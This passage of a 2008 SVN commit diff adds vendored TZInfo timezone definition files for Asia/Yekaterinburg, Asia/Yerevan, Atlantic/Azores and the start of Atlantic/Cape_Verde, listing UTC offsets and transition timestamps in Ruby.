+        timezone 'Asia/Yekaterinburg' do |tz|
+          tz.offset :o0, 14544, 0, :LMT
+          tz.offset :o1, 14400, 0, :SVET
+          tz.offset :o2, 18000, 0, :SVET
+          tz.offset :o3, 18000, 3600, :SVEST
+          tz.offset :o4, 14400, 3600, :SVEST
+          tz.offset :o5, 18000, 0, :YEKT
+          tz.offset :o6, 18000, 3600, :YEKST
+          
+          tz.transition 1919, 7, :o1, 1453292699, 600
+          tz.transition 1930, 6, :o2, 7278445, 3
+          tz.transition 1981, 3, :o3, 354913200
+          tz.transition 1981, 9, :o2, 370720800
+          tz.transition 1982, 3, :o3, 386449200
+          tz.transition 1982, 9, :o2, 402256800
+          tz.transition 1983, 3, :o3, 417985200
+          tz.transition 1983, 9, :o2, 433792800
+          tz.transition 1984, 3, :o3, 449607600
+          tz.transition 1984, 9, :o2, 465339600
+          tz.transition 1985, 3, :o3, 481064400
+          tz.transition 1985, 9, :o2, 496789200
+          tz.transition 1986, 3, :o3, 512514000
+          tz.transition 1986, 9, :o2, 528238800
+          tz.transition 1987, 3, :o3, 543963600
+          tz.transition 1987, 9, :o2, 559688400
+          tz.transition 1988, 3, :o3, 575413200
+          tz.transition 1988, 9, :o2, 591138000
+          tz.transition 1989, 3, :o3, 606862800
+          tz.transition 1989, 9, :o2, 622587600
+          tz.transition 1990, 3, :o3, 638312400
+          tz.transition 1990, 9, :o2, 654642000
+          tz.transition 1991, 3, :o4, 670366800
+          tz.transition 1991, 9, :o1, 686095200
+          tz.transition 1992, 1, :o5, 695772000
+          tz.transition 1992, 3, :o6, 701805600
+          tz.transition 1992, 9, :o5, 717526800
+          tz.transition 1993, 3, :o6, 733266000
+          tz.transition 1993, 9, :o5, 748990800
+          tz.transition 1994, 3, :o6, 764715600
+          tz.transition 1994, 9, :o5, 780440400
+          tz.transition 1995, 3, :o6, 796165200
+          tz.transition 1995, 9, :o5, 811890000
+          tz.transition 1996, 3, :o6, 828219600
+          tz.transition 1996, 10, :o5, 846363600
+          tz.transition 1997, 3, :o6, 859669200
+          tz.transition 1997, 10, :o5, 877813200
+          tz.transition 1998, 3, :o6, 891118800
+          tz.transition 1998, 10, :o5, 909262800
+          tz.transition 1999, 3, :o6, 922568400
+          tz.transition 1999, 10, :o5, 941317200
+          tz.transition 2000, 3, :o6, 954018000
+          tz.transition 2000, 10, :o5, 972766800
+          tz.transition 2001, 3, :o6, 985467600
+          tz.transition 2001, 10, :o5, 1004216400
+          tz.transition 2002, 3, :o6, 1017522000
+          tz.transition 2002, 10, :o5, 1035666000
+          tz.transition 2003, 3, :o6, 1048971600
+          tz.transition 2003, 10, :o5, 1067115600
+          tz.transition 2004, 3, :o6, 1080421200
+          tz.transition 2004, 10, :o5, 1099170000
+          tz.transition 2005, 3, :o6, 1111870800
+          tz.transition 2005, 10, :o5, 1130619600
+          tz.transition 2006, 3, :o6, 1143320400
+          tz.transition 2006, 10, :o5, 1162069200
+          tz.transition 2007, 3, :o6, 1174770000
+          tz.transition 2007, 10, :o5, 1193518800
+          tz.transition 2008, 3, :o6, 1206824400
+          tz.transition 2008, 10, :o5, 1224968400
+          tz.transition 2009, 3, :o6, 1238274000
+          tz.transition 2009, 10, :o5, 1256418000
+          tz.transition 2010, 3, :o6, 1269723600
+          tz.transition 2010, 10, :o5, 1288472400
+          tz.transition 2011, 3, :o6, 1301173200
+          tz.transition 2011, 10, :o5, 1319922000
+          tz.transition 2012, 3, :o6, 1332622800
+          tz.transition 2012, 10, :o5, 1351371600
+          tz.transition 2013, 3, :o6, 1364677200
+          tz.transition 2013, 10, :o5, 1382821200
+          tz.transition 2014, 3, :o6, 1396126800
+          tz.transition 2014, 10, :o5, 1414270800
+          tz.transition 2015, 3, :o6, 1427576400
+          tz.transition 2015, 10, :o5, 1445720400
+          tz.transition 2016, 3, :o6, 1459026000
+          tz.transition 2016, 10, :o5, 1477774800
+          tz.transition 2017, 3, :o6, 1490475600
+          tz.transition 2017, 10, :o5, 1509224400
+          tz.transition 2018, 3, :o6, 1521925200
+          tz.transition 2018, 10, :o5, 1540674000
+          tz.transition 2019, 3, :o6, 1553979600
+          tz.transition 2019, 10, :o5, 1572123600
+          tz.transition 2020, 3, :o6, 1585429200
+          tz.transition 2020, 10, :o5, 1603573200
+          tz.transition 2021, 3, :o6, 1616878800
+          tz.transition 2021, 10, :o5, 1635627600
+          tz.transition 2022, 3, :o6, 1648328400
+          tz.transition 2022, 10, :o5, 1667077200
+          tz.transition 2023, 3, :o6, 1679778000
+          tz.transition 2023, 10, :o5, 1698526800
+          tz.transition 2024, 3, :o6, 1711832400
+          tz.transition 2024, 10, :o5, 1729976400
+          tz.transition 2025, 3, :o6, 1743282000
+          tz.transition 2025, 10, :o5, 1761426000
+          tz.transition 2026, 3, :o6, 1774731600
+          tz.transition 2026, 10, :o5, 1792875600
+          tz.transition 2027, 3, :o6, 1806181200
+          tz.transition 2027, 10, :o5, 1824930000
+          tz.transition 2028, 3, :o6, 1837630800
+          tz.transition 2028, 10, :o5, 1856379600
+          tz.transition 2029, 3, :o6, 1869080400
+          tz.transition 2029, 10, :o5, 1887829200
+          tz.transition 2030, 3, :o6, 1901134800
+          tz.transition 2030, 10, :o5, 1919278800
+          tz.transition 2031, 3, :o6, 1932584400
+          tz.transition 2031, 10, :o5, 1950728400
+          tz.transition 2032, 3, :o6, 1964034000
+          tz.transition 2032, 10, :o5, 1982782800
+          tz.transition 2033, 3, :o6, 1995483600
+          tz.transition 2033, 10, :o5, 2014232400
+          tz.transition 2034, 3, :o6, 2026933200
+          tz.transition 2034, 10, :o5, 2045682000
+          tz.transition 2035, 3, :o6, 2058382800
+          tz.transition 2035, 10, :o5, 2077131600
+          tz.transition 2036, 3, :o6, 2090437200
+          tz.transition 2036, 10, :o5, 2108581200
+          tz.transition 2037, 3, :o6, 2121886800
+          tz.transition 2037, 10, :o5, 2140030800
+          tz.transition 2038, 3, :o6, 19724083, 8
+          tz.transition 2038, 10, :o5, 19725819, 8
+          tz.transition 2039, 3, :o6, 19726995, 8
+          tz.transition 2039, 10, :o5, 19728731, 8
+          tz.transition 2040, 3, :o6, 19729907, 8
+          tz.transition 2040, 10, :o5, 19731643, 8
+          tz.transition 2041, 3, :o6, 19732875, 8
+          tz.transition 2041, 10, :o5, 19734555, 8
+          tz.transition 2042, 3, :o6, 19735787, 8
+          tz.transition 2042, 10, :o5, 19737467, 8
+          tz.transition 2043, 3, :o6, 19738699, 8
+          tz.transition 2043, 10, :o5, 19740379, 8
+          tz.transition 2044, 3, :o6, 19741611, 8
+          tz.transition 2044, 10, :o5, 19743347, 8
+          tz.transition 2045, 3, :o6, 19744523, 8
+          tz.transition 2045, 10, :o5, 19746259, 8
+          tz.transition 2046, 3, :o6, 19747435, 8
+          tz.transition 2046, 10, :o5, 19749171, 8
+          tz.transition 2047, 3, :o6, 19750403, 8
+          tz.transition 2047, 10, :o5, 19752083, 8
+          tz.transition 2048, 3, :o6, 19753315, 8
+          tz.transition 2048, 10, :o5, 19754995, 8
+          tz.transition 2049, 3, :o6, 19756227, 8
+          tz.transition 2049, 10, :o5, 19757963, 8
+          tz.transition 2050, 3, :o6, 19759139, 8
+          tz.transition 2050, 10, :o5, 19760875, 8
+        end
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Yerevan.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Yerevan.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Yerevan.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,165 @@
+require 'tzinfo/timezone_definition'
+
+module TZInfo
+  module Definitions
+    module Asia
+      module Yerevan
+        include TimezoneDefinition
+        
+        timezone 'Asia/Yerevan' do |tz|
+          tz.offset :o0, 10680, 0, :LMT
+          tz.offset :o1, 10800, 0, :YERT
+          tz.offset :o2, 14400, 0, :YERT
+          tz.offset :o3, 14400, 3600, :YERST
+          tz.offset :o4, 10800, 3600, :YERST
+          tz.offset :o5, 10800, 3600, :AMST
+          tz.offset :o6, 10800, 0, :AMT
+          tz.offset :o7, 14400, 0, :AMT
+          tz.offset :o8, 14400, 3600, :AMST
+          
+          tz.transition 1924, 5, :o1, 1745213311, 720
+          tz.transition 1957, 2, :o2, 19487187, 8
+          tz.transition 1981, 3, :o3, 354916800
+          tz.transition 1981, 9, :o2, 370724400
+          tz.transition 1982, 3, :o3, 386452800
+          tz.transition 1982, 9, :o2, 402260400
+          tz.transition 1983, 3, :o3, 417988800
+          tz.transition 1983, 9, :o2, 433796400
+          tz.transition 1984, 3, :o3, 449611200
+          tz.transition 1984, 9, :o2, 465343200
+          tz.transition 1985, 3, :o3, 481068000
+          tz.transition 1985, 9, :o2, 496792800
+          tz.transition 1986, 3, :o3, 512517600
+          tz.transition 1986, 9, :o2, 528242400
+          tz.transition 1987, 3, :o3, 543967200
+          tz.transition 1987, 9, :o2, 559692000
+          tz.transition 1988, 3, :o3, 575416800
+          tz.transition 1988, 9, :o2, 591141600
+          tz.transition 1989, 3, :o3, 606866400
+          tz.transition 1989, 9, :o2, 622591200
+          tz.transition 1990, 3, :o3, 638316000
+          tz.transition 1990, 9, :o2, 654645600
+          tz.transition 1991, 3, :o4, 670370400
+          tz.transition 1991, 9, :o5, 685569600
+          tz.transition 1991, 9, :o6, 686098800
+          tz.transition 1992, 3, :o5, 701812800
+          tz.transition 1992, 9, :o6, 717534000
+          tz.transition 1993, 3, :o5, 733273200
+          tz.transition 1993, 9, :o6, 748998000
+          tz.transition 1994, 3, :o5, 764722800
+          tz.transition 1994, 9, :o6, 780447600
+          tz.transition 1995, 3, :o5, 796172400
+          tz.transition 1995, 9, :o7, 811897200
+          tz.transition 1997, 3, :o8, 859672800
+          tz.transition 1997, 10, :o7, 877816800
+          tz.transition 1998, 3, :o8, 891122400
+          tz.transition 1998, 10, :o7, 909266400
+          tz.transition 1999, 3, :o8, 922572000
+          tz.transition 1999, 10, :o7, 941320800
+          tz.transition 2000, 3, :o8, 954021600
+          tz.transition 2000, 10, :o7, 972770400
+          tz.transition 2001, 3, :o8, 985471200
+          tz.transition 2001, 10, :o7, 1004220000
+          tz.transition 2002, 3, :o8, 1017525600
+          tz.transition 2002, 10, :o7, 1035669600
+          tz.transition 2003, 3, :o8, 1048975200
+          tz.transition 2003, 10, :o7, 1067119200
+          tz.transition 2004, 3, :o8, 1080424800
+          tz.transition 2004, 10, :o7, 1099173600
+          tz.transition 2005, 3, :o8, 1111874400
+          tz.transition 2005, 10, :o7, 1130623200
+          tz.transition 2006, 3, :o8, 1143324000
+          tz.transition 2006, 10, :o7, 1162072800
+          tz.transition 2007, 3, :o8, 1174773600
+          tz.transition 2007, 10, :o7, 1193522400
+          tz.transition 2008, 3, :o8, 1206828000
+          tz.transition 2008, 10, :o7, 1224972000
+          tz.transition 2009, 3, :o8, 1238277600
+          tz.transition 2009, 10, :o7, 1256421600
+          tz.transition 2010, 3, :o8, 1269727200
+          tz.transition 2010, 10, :o7, 1288476000
+          tz.transition 2011, 3, :o8, 1301176800
+          tz.transition 2011, 10, :o7, 1319925600
+          tz.transition 2012, 3, :o8, 1332626400
+          tz.transition 2012, 10, :o7, 1351375200
+          tz.transition 2013, 3, :o8, 1364680800
+          tz.transition 2013, 10, :o7, 1382824800
+          tz.transition 2014, 3, :o8, 1396130400
+          tz.transition 2014, 10, :o7, 1414274400
+          tz.transition 2015, 3, :o8, 1427580000
+          tz.transition 2015, 10, :o7, 1445724000
+          tz.transition 2016, 3, :o8, 1459029600
+          tz.transition 2016, 10, :o7, 1477778400
+          tz.transition 2017, 3, :o8, 1490479200
+          tz.transition 2017, 10, :o7, 1509228000
+          tz.transition 2018, 3, :o8, 1521928800
+          tz.transition 2018, 10, :o7, 1540677600
+          tz.transition 2019, 3, :o8, 1553983200
+          tz.transition 2019, 10, :o7, 1572127200
+          tz.transition 2020, 3, :o8, 1585432800
+          tz.transition 2020, 10, :o7, 1603576800
+          tz.transition 2021, 3, :o8, 1616882400
+          tz.transition 2021, 10, :o7, 1635631200
+          tz.transition 2022, 3, :o8, 1648332000
+          tz.transition 2022, 10, :o7, 1667080800
+          tz.transition 2023, 3, :o8, 1679781600
+          tz.transition 2023, 10, :o7, 1698530400
+          tz.transition 2024, 3, :o8, 1711836000
+          tz.transition 2024, 10, :o7, 1729980000
+          tz.transition 2025, 3, :o8, 1743285600
+          tz.transition 2025, 10, :o7, 1761429600
+          tz.transition 2026, 3, :o8, 1774735200
+          tz.transition 2026, 10, :o7, 1792879200
+          tz.transition 2027, 3, :o8, 1806184800
+          tz.transition 2027, 10, :o7, 1824933600
+          tz.transition 2028, 3, :o8, 1837634400
+          tz.transition 2028, 10, :o7, 1856383200
+          tz.transition 2029, 3, :o8, 1869084000
+          tz.transition 2029, 10, :o7, 1887832800
+          tz.transition 2030, 3, :o8, 1901138400
+          tz.transition 2030, 10, :o7, 1919282400
+          tz.transition 2031, 3, :o8, 1932588000
+          tz.transition 2031, 10, :o7, 1950732000
+          tz.transition 2032, 3, :o8, 1964037600
+          tz.transition 2032, 10, :o7, 1982786400
+          tz.transition 2033, 3, :o8, 1995487200
+          tz.transition 2033, 10, :o7, 2014236000
+          tz.transition 2034, 3, :o8, 2026936800
+          tz.transition 2034, 10, :o7, 2045685600
+          tz.transition 2035, 3, :o8, 2058386400
+          tz.transition 2035, 10, :o7, 2077135200
+          tz.transition 2036, 3, :o8, 2090440800
+          tz.transition 2036, 10, :o7, 2108584800
+          tz.transition 2037, 3, :o8, 2121890400
+          tz.transition 2037, 10, :o7, 2140034400
+          tz.transition 2038, 3, :o8, 29586125, 12
+          tz.transition 2038, 10, :o7, 29588729, 12
+          tz.transition 2039, 3, :o8, 29590493, 12
+          tz.transition 2039, 10, :o7, 29593097, 12
+          tz.transition 2040, 3, :o8, 29594861, 12
+          tz.transition 2040, 10, :o7, 29597465, 12
+          tz.transition 2041, 3, :o8, 29599313, 12
+          tz.transition 2041, 10, :o7, 29601833, 12
+          tz.transition 2042, 3, :o8, 29603681, 12
+          tz.transition 2042, 10, :o7, 29606201, 12
+          tz.transition 2043, 3, :o8, 29608049, 12
+          tz.transition 2043, 10, :o7, 29610569, 12
+          tz.transition 2044, 3, :o8, 29612417, 12
+          tz.transition 2044, 10, :o7, 29615021, 12
+          tz.transition 2045, 3, :o8, 29616785, 12
+          tz.transition 2045, 10, :o7, 29619389, 12
+          tz.transition 2046, 3, :o8, 29621153, 12
+          tz.transition 2046, 10, :o7, 29623757, 12
+          tz.transition 2047, 3, :o8, 29625605, 12
+          tz.transition 2047, 10, :o7, 29628125, 12
+          tz.transition 2048, 3, :o8, 29629973, 12
+          tz.transition 2048, 10, :o7, 29632493, 12
+          tz.transition 2049, 3, :o8, 29634341, 12
+          tz.transition 2049, 10, :o7, 29636945, 12
+          tz.transition 2050, 3, :o8, 29638709, 12
+          tz.transition 2050, 10, :o7, 29641313, 12
+        end
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Atlantic/Azores.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Atlantic/Azores.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Atlantic/Azores.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,270 @@
+require 'tzinfo/timezone_definition'
+
+module TZInfo
+  module Definitions
+    module Atlantic
+      module Azores
+        include TimezoneDefinition
+        
+        timezone 'Atlantic/Azores' do |tz|
+          tz.offset :o0, -6160, 0, :LMT
+          tz.offset :o1, -6872, 0, :HMT
+          tz.offset :o2, -7200, 0, :AZOT
+          tz.offset :o3, -7200, 3600, :AZOST
+          tz.offset :o4, -7200, 7200, :AZOMT
+          tz.offset :o5, -3600, 0, :AZOT
+          tz.offset :o6, -3600, 3600, :AZOST
+          tz.offset :o7, 0, 0, :WET
+          
+          tz.transition 1884, 1, :o1, 2601910697, 1080
+          tz.transition 1911, 5, :o2, 26127150259, 10800
+          tz.transition 1916, 6, :o3, 58104781, 24
+          tz.transition 1916, 11, :o2, 29054023, 12
+          tz.transition 1917, 3, :o3, 58110925, 24
+          tz.transition 1917, 10, :o2, 58116397, 24
+          tz.transition 1918, 3, :o3, 58119709, 24
+          tz.transition 1918, 10, :o2, 58125157, 24
+          tz.transition 1919, 3, :o3, 58128445, 24
+          tz.transition 1919, 10, :o2, 58133917, 24
+          tz.transition 1920, 3, :o3, 58137229, 24
+          tz.transition 1920, 10, :o2, 58142701, 24
+          tz.transition 1921, 3, :o3, 58145989, 24
+          tz.transition 1921, 10, :o2, 58151461, 24
+          tz.transition 1924, 4, :o3, 58173421, 24
+          tz.transition 1924, 10, :o2, 58177765, 24
+          tz.transition 1926, 4, :o3, 58190965, 24
+          tz.transition 1926, 10, :o2, 58194997, 24
+          tz.transition 1927, 4, :o3, 58199533, 24
+          tz.transition 1927, 10, :o2, 58203733, 24
+          tz.transition 1928, 4, :o3, 58208437, 24
+          tz.transition 1928, 10, :o2, 58212637, 24
+          tz.transition 1929, 4, :o3, 58217341, 24
+          tz.transition 1929, 10, :o2, 58221373, 24
+          tz.transition 1931, 4, :o3, 58234813, 24
+          tz.transition 1931, 10, :o2, 58238845, 24
+          tz.transition 1932, 4, :o3, 58243213, 24
+          tz.transition 1932, 10, :o2, 58247581, 24
+          tz.transition 1934, 4, :o3, 58260853, 24
+          tz.transition 1934, 10, :o2, 58265221, 24
+          tz.transition 1935, 3, :o3, 58269421, 24
+          tz.transition 1935, 10, :o2, 58273957, 24
+          tz.transition 1936, 4, :o3, 58278661, 24
+          tz.transition 1936, 10, :o2, 58282693, 24
+          tz.transition 1937, 4, :o3, 58287061, 24
+          tz.transition 1937, 10, :o2, 58291429, 24
+          tz.transition 1938, 3, :o3, 58295629, 24
+          tz.transition 1938, 10, :o2, 58300165, 24
+          tz.transition 1939, 4, :o3, 58304869, 24
+          tz.transition 1939, 11, :o2, 58310077, 24
+          tz.transition 1940, 2, :o3, 58312429, 24
+          tz.transition 1940, 10, :o2, 58317805, 24
+          tz.transition 1941, 4, :o3, 58322173, 24
+          tz.transition 1941, 10, :o2, 58326565, 24
+          tz.transition 1942, 3, :o3, 58330405, 24
+          tz.transition 1942, 4, :o4, 4860951, 2
+          tz.transition 1942, 8, :o3, 4861175, 2
+          tz.transition 1942, 10, :o2, 58335781, 24
+          tz.transition 1943, 3, :o3, 58339141, 24
+          tz.transition 1943, 4, :o4, 4861665, 2
+          tz.transition 1943, 8, :o3, 4861931, 2
+          tz.transition 1943, 10, :o2, 58344685, 24
+          tz.transition 1944, 3, :o3, 58347877, 24
+          tz.transition 1944, 4, :o4, 4862407, 2
+          tz.transition 1944, 8, :o3, 4862659, 2
+          tz.transition 1944, 10, :o2, 58353421, 24
+          tz.transition 1945, 3, :o3, 58356613, 24
+          tz.transition 1945, 4, :o4, 4863135, 2
+          tz.transition 1945, 8, :o3, 4863387, 2
+          tz.transition 1945, 10, :o2, 58362157, 24
+          tz.transition 1946, 4, :o3, 58366021, 24
+          tz.transition 1946, 10, :o2, 58370389, 24
+          tz.transition 1947, 4, :o3, 7296845, 3
+          tz.transition 1947, 10, :o2, 7297391, 3
+          tz.transition 1948, 4, :o3, 7297937, 3
+          tz.transition 1948, 10, :o2, 7298483, 3
+          tz.transition 1949, 4, :o3, 7299029, 3
+          tz.transition 1949, 10, :o2, 7299575, 3
+          tz.transition 1951, 4, :o3, 7301213, 3
+          tz.transition 1951, 10, :o2, 7301780, 3
+          tz.transition 1952, 4, :o3, 7302326, 3
+          tz.transition 1952, 10, :o2, 7302872, 3
+          tz.transition 1953, 4, :o3, 7303418, 3
+          tz.transition 1953, 10, :o2, 7303964, 3
+          tz.transition 1954, 4, :o3, 7304510, 3
+          tz.transition 1954, 10, :o2, 7305056, 3
+          tz.transition 1955, 4, :o3, 7305602, 3
+          tz.transition 1955, 10, :o2, 7306148, 3
+          tz.transition 1956, 4, :o3, 7306694, 3
+          tz.transition 1956, 10, :o2, 7307261, 3
+          tz.transition 1957, 4, :o3, 7307807, 3
+          tz.transition 1957, 10, :o2, 7308353, 3
+          tz.transition 1958, 4, :o3, 7308899, 3
+          tz.transition 1958, 10, :o2, 7309445, 3
+          tz.transition 1959, 4, :o3, 7309991, 3
+          tz.transition 1959, 10, :o2, 7310537, 3
+          tz.transition 1960, 4, :o3, 7311083, 3
+          tz.transition 1960, 10, :o2, 7311629, 3
+          tz.transition 1961, 4, :o3, 7312175, 3
+          tz.transition 1961, 10, :o2, 7312721, 3
+          tz.transition 1962, 4, :o3, 7313267, 3
+          tz.transition 1962, 10, :o2, 7313834, 3
+          tz.transition 1963, 4, :o3, 7314380, 3
+          tz.transition 1963, 10, :o2, 7314926, 3
+          tz.transition 1964, 4, :o3, 7315472, 3
+          tz.transition 1964, 10, :o2, 7316018, 3
+          tz.transition 1965, 4, :o3, 7316564, 3
+          tz.transition 1965, 10, :o2, 7317110, 3
+          tz.transition 1966, 4, :o5, 7317656, 3
+          tz.transition 1977, 3, :o6, 228272400
+          tz.transition 1977, 9, :o5, 243997200
+          tz.transition 1978, 4, :o6, 260326800
+          tz.transition 1978, 10, :o5, 276051600
+          tz.transition 1979, 4, :o6, 291776400
+          tz.transition 1979, 9, :o5, 307504800
+          tz.transition 1980, 3, :o6, 323226000
+          tz.transition 1980, 9, :o5, 338954400
+          tz.transition 1981, 3, :o6, 354679200
+          tz.transition 1981, 9, :o5, 370404000
+          tz.transition 1982, 3, :o6, 386128800
+          tz.transition 1982, 9, :o5, 401853600
+          tz.transition 1983, 3, :o6, 417582000
+          tz.transition 1983, 9, :o5, 433303200
+          tz.transition 1984, 3, :o6, 449028000
+          tz.transition 1984, 9, :o5, 465357600
+          tz.transition 1985, 3, :o6, 481082400
+          tz.transition 1985, 9, :o5, 496807200
+          tz.transition 1986, 3, :o6, 512532000
+          tz.transition 1986, 9, :o5, 528256800
+          tz.transition 1987, 3, :o6, 543981600
+          tz.transition 1987, 9, :o5, 559706400
+          tz.transition 1988, 3, :o6, 575431200
+          tz.transition 1988, 9, :o5, 591156000
+          tz.transition 1989, 3, :o6, 606880800
+          tz.transition 1989, 9, :o5, 622605600
+          tz.transition 1990, 3, :o6, 638330400
+          tz.transition 1990, 9, :o5, 654660000
+          tz.transition 1991, 3, :o6, 670384800
+          tz.transition 1991, 9, :o5, 686109600
+          tz.transition 1992, 3, :o6, 701834400
+          tz.transition 1992, 9, :o7, 717559200
+          tz.transition 1993, 3, :o6, 733280400
+          tz.transition 1993, 9, :o5, 749005200
+          tz.transition 1994, 3, :o6, 764730000
+          tz.transition 1994, 9, :o5, 780454800
+          tz.transition 1995, 3, :o6, 796179600
+          tz.transition 1995, 9, :o5, 811904400
+          tz.transition 1996, 3, :o6, 828234000
+          tz.transition 1996, 10, :o5, 846378000
+          tz.transition 1997, 3, :o6, 859683600
+          tz.transition 1997, 10, :o5, 877827600
+          tz.transition 1998, 3, :o6, 891133200
+          tz.transition 1998, 10, :o5, 909277200
+          tz.transition 1999, 3, :o6, 922582800
+          tz.transition 1999, 10, :o5, 941331600
+          tz.transition 2000, 3, :o6, 954032400
+          tz.transition 2000, 10, :o5, 972781200
+          tz.transition 2001, 3, :o6, 985482000
+          tz.transition 2001, 10, :o5, 1004230800
+          tz.transition 2002, 3, :o6, 1017536400
+          tz.transition 2002, 10, :o5, 1035680400
+          tz.transition 2003, 3, :o6, 1048986000
+          tz.transition 2003, 10, :o5, 1067130000
+          tz.transition 2004, 3, :o6, 1080435600
+          tz.transition 2004, 10, :o5, 1099184400
+          tz.transition 2005, 3, :o6, 1111885200
+          tz.transition 2005, 10, :o5, 1130634000
+          tz.transition 2006, 3, :o6, 1143334800
+          tz.transition 2006, 10, :o5, 1162083600
+          tz.transition 2007, 3, :o6, 1174784400
+          tz.transition 2007, 10, :o5, 1193533200
+          tz.transition 2008, 3, :o6, 1206838800
+          tz.transition 2008, 10, :o5, 1224982800
+          tz.transition 2009, 3, :o6, 1238288400
+          tz.transition 2009, 10, :o5, 1256432400
+          tz.transition 2010, 3, :o6, 1269738000
+          tz.transition 2010, 10, :o5, 1288486800
+          tz.transition 2011, 3, :o6, 1301187600
+          tz.transition 2011, 10, :o5, 1319936400
+          tz.transition 2012, 3, :o6, 1332637200
+          tz.transition 2012, 10, :o5, 1351386000
+          tz.transition 2013, 3, :o6, 1364691600
+          tz.transition 2013, 10, :o5, 1382835600
+          tz.transition 2014, 3, :o6, 1396141200
+          tz.transition 2014, 10, :o5, 1414285200
+          tz.transition 2015, 3, :o6, 1427590800
+          tz.transition 2015, 10, :o5, 1445734800
+          tz.transition 2016, 3, :o6, 1459040400
+          tz.transition 2016, 10, :o5, 1477789200
+          tz.transition 2017, 3, :o6, 1490490000
+          tz.transition 2017, 10, :o5, 1509238800
+          tz.transition 2018, 3, :o6, 1521939600
+          tz.transition 2018, 10, :o5, 1540688400
+          tz.transition 2019, 3, :o6, 1553994000
+          tz.transition 2019, 10, :o5, 1572138000
+          tz.transition 2020, 3, :o6, 1585443600
+          tz.transition 2020, 10, :o5, 1603587600
+          tz.transition 2021, 3, :o6, 1616893200
+          tz.transition 2021, 10, :o5, 1635642000
+          tz.transition 2022, 3, :o6, 1648342800
+          tz.transition 2022, 10, :o5, 1667091600
+          tz.transition 2023, 3, :o6, 1679792400
+          tz.transition 2023, 10, :o5, 1698541200
+          tz.transition 2024, 3, :o6, 1711846800
+          tz.transition 2024, 10, :o5, 1729990800
+          tz.transition 2025, 3, :o6, 1743296400
+          tz.transition 2025, 10, :o5, 1761440400
+          tz.transition 2026, 3, :o6, 1774746000
+          tz.transition 2026, 10, :o5, 1792890000
+          tz.transition 2027, 3, :o6, 1806195600
+          tz.transition 2027, 10, :o5, 1824944400
+          tz.transition 2028, 3, :o6, 1837645200
+          tz.transition 2028, 10, :o5, 1856394000
+          tz.transition 2029, 3, :o6, 1869094800
+          tz.transition 2029, 10, :o5, 1887843600
+          tz.transition 2030, 3, :o6, 1901149200
+          tz.transition 2030, 10, :o5, 1919293200
+          tz.transition 2031, 3, :o6, 1932598800
+          tz.transition 2031, 10, :o5, 1950742800
+          tz.transition 2032, 3, :o6, 1964048400
+          tz.transition 2032, 10, :o5, 1982797200
+          tz.transition 2033, 3, :o6, 1995498000
+          tz.transition 2033, 10, :o5, 2014246800
+          tz.transition 2034, 3, :o6, 2026947600
+          tz.transition 2034, 10, :o5, 2045696400
+          tz.transition 2035, 3, :o6, 2058397200
+          tz.transition 2035, 10, :o5, 2077146000
+          tz.transition 2036, 3, :o6, 2090451600
+          tz.transition 2036, 10, :o5, 2108595600
+          tz.transition 2037, 3, :o6, 2121901200
+          tz.transition 2037, 10, :o5, 2140045200
+          tz.transition 2038, 3, :o6, 59172253, 24
+          tz.transition 2038, 10, :o5, 59177461, 24
+          tz.transition 2039, 3, :o6, 59180989, 24
+          tz.transition 2039, 10, :o5, 59186197, 24
+          tz.transition 2040, 3, :o6, 59189725, 24
+          tz.transition 2040, 10, :o5, 59194933, 24
+          tz.transition 2041, 3, :o6, 59198629, 24
+          tz.transition 2041, 10, :o5, 59203669, 24
+          tz.transition 2042, 3, :o6, 59207365, 24
+          tz.transition 2042, 10, :o5, 59212405, 24
+          tz.transition 2043, 3, :o6, 59216101, 24
+          tz.transition 2043, 10, :o5, 59221141, 24
+          tz.transition 2044, 3, :o6, 59224837, 24
+          tz.transition 2044, 10, :o5, 59230045, 24
+          tz.transition 2045, 3, :o6, 59233573, 24
+          tz.transition 2045, 10, :o5, 59238781, 24
+          tz.transition 2046, 3, :o6, 59242309, 24
+          tz.transition 2046, 10, :o5, 59247517, 24
+          tz.transition 2047, 3, :o6, 59251213, 24
+          tz.transition 2047, 10, :o5, 59256253, 24
+          tz.transition 2048, 3, :o6, 59259949, 24
+          tz.transition 2048, 10, :o5, 59264989, 24
+          tz.transition 2049, 3, :o6, 59268685, 24
+          tz.transition 2049, 10, :o5, 59273893, 24
+          tz.transition 2050, 3, :o6, 59277421, 24
+          tz.transition 2050, 10, :o5, 59282629, 24
+        end
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Atlantic/Cape_Verde.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Atlantic/Cape_Verde.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Atlantic/Cape_Verde.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,23 @@
+require 'tzinfo/timezone_definition'
+
+module TZInfo
+  module Definitions
+    module Atlantic
+      module Cape_Verde
+        include TimezoneDefinition
+        
+        timezone 'Atlantic/Cape_Verde' do |tz|
+          tz.offset :o0, -5644, 0, :LMT
+          tz.offset :o1, -7200, 0, :CVT
+          tz.offset :o2, -7200, 3600, :CVST
